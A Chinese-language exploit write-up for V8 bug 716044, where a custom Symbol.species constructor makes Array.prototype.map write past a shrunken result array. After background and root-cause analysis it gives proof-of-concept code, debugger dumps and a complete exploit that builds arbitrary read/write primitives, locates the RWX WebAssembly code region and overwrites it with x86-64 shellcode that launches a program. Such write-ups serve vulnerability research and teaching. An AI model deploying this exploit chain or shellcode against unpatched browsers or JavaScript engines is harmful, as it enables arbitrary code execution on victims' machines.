前言

环境搭建

git reset --hard 40d01184a18a599392691c0eb931720628a44e80
gclient sync
./tools/dev/gm.py x64.release
./tools/dev/gm.py x64.debug

基础知识

**Symbol.species **

Symbol.species 是个函数值属性,对象的Symbol.species属性,指向一个构造函数。创建衍生对象时,会使用该属性。

class MyArray extends Array {}
const a = new MyArray(1,2,3);
const b = a.map(x => x);
const c = a.filter(x => x > 1);
console.log(b);
console.log(c);
console.log(b instanceof MyArray); //true

上述例子中,子类MyArray继承了父类Array,a是MyArray的实例,b和c是a的衍生对象。b和c是Array的实例,也是MyArray的实例,为了进行区分,引入Symbol.species属性,如下,为MyArray设置Symbol.species属性:

class MyArray extends Array{
    static get [Symbol.species] () {
        return Array;
    }
 }

等同于:

class MyArray extends Array {
    static get [Symbol.species] (){
        return this;
    }
}

设置Symbol.species属性后,a.map(x => x)生成的衍生对象b,就不是MyArray的实例,而直接就是Array的实例。例子如下:

class MyArray extends Array {
  // 覆盖 species 到父级的 Array 构造函数上
  static get [Symbol.species]() { return Array; }
}
var a = new MyArray(1,2,3);
var mapped = a.map(x => x * x);

console.log(mapped instanceof MyArray); // false
console.log(mapped instanceof Array);   // true

漏洞分析

漏洞成因在于:调用Array.prototype.map 函数时会触发衍生操作,即触发Symbol.species 所声明的构造函数。而在构造函数中可以修改数组的大小,导致溢出。

PoC代码:

// Copyright 2017 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --verify-heap
class Array1 extends Array {
	constructor(len) {
	super(1);
	}
};
class MyArray extends Array {
	static get [Symbol.species]() {
		return Array1;
	}
}
a = new MyArray();
for (var i = 0; i < 100000; i++) {
	a.push(1);
}

a.map(function(x) { return 42; });

array.map 函数原型:

array.map(callback[, thisArg])

调用链如下:

ArrayMap
	->args.GetReceiver();
	->args.GetOptionalArgumentValue(0, UndefinedConstant()); //获得callback参数
	->args.GetOptionalArgumentValue(1, UndefinedConstant());//获得thisArg参数
	->InitIteratingArrayBuiltinBody // 赋值操作
    ->GenerateIteratingArrayBuiltinBody
        ->o_ = CallStub(CodeFactory::ToObject(isolate()), context(), receiver());//o_保存Array.prototype.map的this对象
		->len_ = merged_length.value();//加载数组的长度
		->a_.Bind(generator(this));//调用generator函数并将结果返回保存在a_
			->MapResultGenerator() //generator函数的调用链如下
                ->ArraySpeciesCreate
                	->Runtime::kArraySpeciesConstructor
                        ->v8::internal::Object::ArraySpeciesConstructor
                            ->Array[Symbol.species] // 最终对象的Symbol.species 属性
		->HandleFastElements(processor, action, &slow, direction);//对每个元素调用processor函数进行赋值操作
			->MapProcessor //将o_(原数组)中的每个元素赋值调用callbackfn 并将结果保存到a_(新数组)中
                ->TryStoreArrayElement

主要具体函数如下:

Array.prototype.map 函数的CodeStubAssembler:

// src/builtins/builtins-array-gen.cc
TF_BUILTIN(ArrayMap, ArrayBuiltinCodeStubAssembler) {
	Node* argc = ChangeInt32ToIntPtr(Parameter(BuiltinDescriptor::kArgumentsCount));
	CodeStubArguments args(this, argc);
	Node* context = Parameter(BuiltinDescriptor::kContext);
	Node* new_target = Parameter(BuiltinDescriptor::kNewTarget);
	Node* receiver = args.GetReceiver(); // this
	Node* callbackfn = args.GetOptionalArgumentValue(0, UndefinedConstant()); //callback 函数
	Node* this_arg = args.GetOptionalArgumentValue(1, UndefinedConstant());
	InitIteratingArrayBuiltinBody(context, receiver, callbackfn, this_arg,
	new_target, argc);
	GenerateIteratingArrayBuiltinBody(
	"Array.prototype.map", &ArrayBuiltinCodeStubAssembler::MapResultGenerator,
	&ArrayBuiltinCodeStubAssembler::MapProcessor,
	&ArrayBuiltinCodeStubAssembler::NullPostLoopAction,
	Builtins::CallableFor(isolate(), Builtins::kArrayMapLoopContinuation));
}

GenerateIteratingArrayBuiltinBody函数:

void GenerateIteratingArrayBuiltinBody(
    const char* name, const BuiltinResultGenerator& generator,
    const CallResultProcessor& processor, const PostLoopAction& action,
    const Callable& slow_case_continuation,
    ForEachDirection direction = ForEachDirection::kForward) {
  ...

  o_ = CallStub(CodeFactory::ToObject(isolate()), context(), receiver());

  ...

  GotoIf(DoesntHaveInstanceType(o(), JS_ARRAY_TYPE), &not_js_array);
  merged_length.Bind(LoadJSArrayLength(o()));
  Goto(&has_length);

  ...

  BIND(&has_length);
  len_ = merged_length.value();

  ...

  a_.Bind(generator(this));
  HandleFastElements(processor, action, &slow, direction);
  ...

array.prototype.map 所对应的js代码示意如下:

Array.prototype.map = function (callback) {
	var Species = this.constructor[Symbol.species];
	var returnValue = new Species(this.length);
	this.forEach(function (item, index, array) {
		returnValue[index] = callback(item, index, array);
	});
	return returnValue;
}

v8创建对象a_ 是通过调用generator -> ArraySpeciesCreate ,此时由于用户可以自定义Symbol.species 属性,并通过该属性劫持a_ 的构造过程,修改a_ 的数组长度为1,小于原数组o_ 的长度,在后续调用MapProcessor->callbackfn 函数对o_ 每个元素进行处理并赋值给a_ 时,由于长度大于a_ ,最终导致越界写。并且callback 函数只会在有值的索引上被调用进行赋值,对于未初始化的索引(即hole)不做处理,可以利用这点,对特定的位置进行越界写。

PoC代码:

var float_array;
function hex(i)
{
	return i.toString(16).padStart(16, "0");
}

class Array1 extends Array {
	constructor(len) {
	super(1);
	float_array = [1.1, 2.2];
	}
};
class MyArray extends Array {
	static get [Symbol.species]() {
		return Array1;
	}
}

o_ = new MyArray();// 这里和o_ 和 a_ 可以等效于v8源码中的o_ 和 a_, 命名成这样,方便理解

o_[2] = 3;
o_[8] = 9;

var a_ = o_.map(function(x) { return 0xddaa; });
%DebugPrint(o_);
%DebugPrint(a_);
console.log("a_ length is : 0x" + hex(a_.length));
console.log("float_array length is : 0x" + hex(float_array.length));

可以看到除了o_ [2]和o_ [8],其他索引都为hole:

image-20200727201029992

经过o_.map处理,会重新申请一个a_ 对象,并将callback 函数的返回值(0xddaa)赋值给不为hole的索引,如下图所示:

image-20200727201629863

此时a_的length为1,但在赋值时却是按照o_的length进行赋值,可以越界写将a_ [2]和a_ [8] 修改为0xddaa(前面2个字段是map和length),而a_ [8] 正好是float_array数组的length字段,所以越界写将float_array的length修改为0xddaa。

输出结果为:

0x30142028d809 <JSArray[9]>
0x30142028da49 <JSArray[1]>
a_ length is : 0x0000000000000001
float_array length is : 0x000000000000ddaa

利用思路总结:

在a_ 数组后面构造一个float array,利用越界写修改float array的length,就可以对float array进行越界读写。后面的利用方式和Plaid CTFs roll a d8相似,最终找rwx区可能因为d8版本问题,数据结构和偏移有些不同。这里通过wasm funciton -> shared_info->code,此时读到的code地址已经位于rwx区中,减去偏移0xc1就是rwx区域的起始地址。但wasm function 调用的代码位于起始地址+0x140处。将其覆盖成shellcode即可。

pwndbg> job 0x1126749b45e9  <--------- wasm function 地址
0x1126749b45e9: [Function]
 - map = 0x126a3be0e649 [FastProperties]
 - prototype = 0x112674984429
 - elements = 0x23a81c002241 <FixedArray[0]> [FAST_HOLEY_ELEMENTS]
 - embedder fields: 3
 - initial_map = 
 - shared_info = 0x1126749b4469 <SharedFunctionInfo 0> <---------------shared_info
 - name = 0x1126749b4449 <String[1]: 0>
 - formal_parameter_count = 0
 - context = 0x112674983bd1 <FixedArray[265]>
 - feedback vector cell = 0x23a81c002811 <Cell value= 0x23a81c002311 <undefined>>
 - code = 0x17a373840c1 <Code JS_TO_WASM_FUNCTION>
 - properties = 0x23a81c002241 <FixedArray[0]> {
    #length: 0x2652937e4961 <AccessorInfo> (const accessor descriptor)
    #name: 0x2652937e49d1 <AccessorInfo> (const accessor descriptor)
    #arguments: 0x2652937e4a41 <AccessorInfo> (const accessor descriptor)
    #caller: 0x2652937e4ab1 <AccessorInfo> (const accessor descriptor)
    #prototype: 0x2652937e4b21 <AccessorInfo> (const accessor descriptor)
 }
 - embedder fields = {
    0
    0x1126749b4209
    0
 }
pwndbg> job 0x1126749b4469   <---------------shared_info
0x1126749b4469: [SharedFunctionInfo]
 - name = 0x1126749b4449 <String[1]: 0>
 - kind = [ NormalFunction ]
 - formal_parameter_count = 0
 - expected_nof_properties = 0
 - language_mode = sloppy
 - ast_node_count = 0
 - instance class name = #Object

 - code = 0x17a373840c1 <Code JS_TO_WASM_FUNCTION> <---------------code
 - function token position = 0
 - start position = 0
 - end position = 0
 - no debug info
 - length = 0
 - optimized_code_map = 0x23a81c002241 <FixedArray[0]>
 - feedback_metadata = 0x23a81c002241: [FeedbackMetadata]
 - length: 0 (empty)

pwndbg> job 0x17a373840c1    <---------------code
0x17a373840c1: [Code]
kind = JS_TO_WASM_FUNCTION
compiler = turbofan
Instructions (size = 43)
0x17a37384140     0  55             push rbp   <--------------wasm function 函数调用地址,将其覆盖成shellcode 
0x17a37384141     1  4889e5         REX.W movq rbp,rsp
0x17a37384144     4  56             push rsi
0x17a37384145     5  57             push rdi
0x17a37384146     6  e835ffffff     call 0x17a37384080       ;; code: WASM_FUNCTION
0x17a3738414b     b  48c1e020       REX.W shlq rax, 32
0x17a3738414f     f  488be5         REX.W movq rsp,rbp
0x17a37384152    12  5d             pop rbp
0x17a37384153    13  c20800         ret 0x8
0x17a37384156    16  6690           nop

exp 代码:

var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var Uint32 = new Uint32Array(buf);
function f2i(f)
{
	float64[0] = f;
	let tmp = Array.from(Uint32);
	return tmp[1] * 0x100000000 + tmp[0]; 
}

function i2f(i)
{
	let tmp = [];
	tmp[0] = parseInt(i % 0x100000000);
	tmp[1] = parseInt((i-tmp[0]) / 0x100000000);
	Uint32.set(tmp);
	return float64[0];
}

function hex(i)
{
	return i.toString(16).padStart(16, "0");
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var wasm_function = wasmInstance.exports.main;

var oobArray;
var data_buf;
var obj;

class Array1 extends Array{
	constructor(len){
		super(1);
		oobArray = [1.1, 2.2];
		data_buf = new ArrayBuffer(0x233);
		obj = {mark: 1111222233334444, obj: wasm_function};
	}
};


class MyArray extends Array{
	static get [Symbol.species](){
		return Array1;
	}
};

a = new MyArray();
a[8] = 6;

var b = a.map(function(x) {return 1000;});

var float_obj_idx = 0;
for(let i=0; i < 0x100; i++)
{
	if(f2i(oobArray[i]) == 0x430f9534b3e01560){
		float_obj_idx = i + 1;
		console.log("[+] find wasm_function obj : 0x" + hex(f2i(oobArray[float_obj_idx])));
		break;
	}
}
var wasm_function_addr = f2i(oobArray[float_obj_idx]) - 0x1;

//------ find backing_store

var float_buffer_idx = 0;
for(let i=0; i < 0x1000; i++)
{
	if(f2i(oobArray[i]) == 0x0000023300000000){
		float_buffer_idx = i + 1;
		console.log("[+] find data_buf backing_store : 0x" + hex(f2i(oobArray[float_buffer_idx])));
		break;
	}
}

//----- arbitrary read

var data_view = new DataView(data_buf);

function dataview_read64(addr)
{
	oobArray[float_buffer_idx] = i2f(addr);
	return f2i(data_view.getFloat64(0, true));
}

//----- arbitrary write
function dataview_write(addr, payload)
{
	oobArray[float_buffer_idx] = i2f(addr);
	for(let i=0; i < payload.length; i++)
	{
		data_view.setUint8(i, payload[i]);
	}
}

//-----  find wasm_code_rwx_addr 

var wasm_shared_info = dataview_read64(wasm_function_addr + 0x20);
console.log("[+] find wasm_shared_info : 0x" + hex(wasm_shared_info));

var wasm_code = dataview_read64(wasm_shared_info - 0x1 + 0x8);
console.log("[+] find wasm_code : 0x" + hex(wasm_code));

var wasm_rwx = wasm_code - 0xc1 + 0x140; 
console.log("[+] find wasm_rwx : 0x" + hex(wasm_rwx));

//write shellcode to wasm
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];

dataview_write(wasm_rwx, shellcode);

wasm_function();

执行示意图:

image-20200727164118903

参考链接

http://dittozzz.top/2019/11/04/Chrome-v8-716044-Array-prototype-map-OOB-write/

https://v8.dev/docs/csa-builtins

https://bugs.chromium.org/p/chromium/issues/detail?id=716044

https://halbecaf.com/2017/05/24/exploiting-a-v8-oob-write/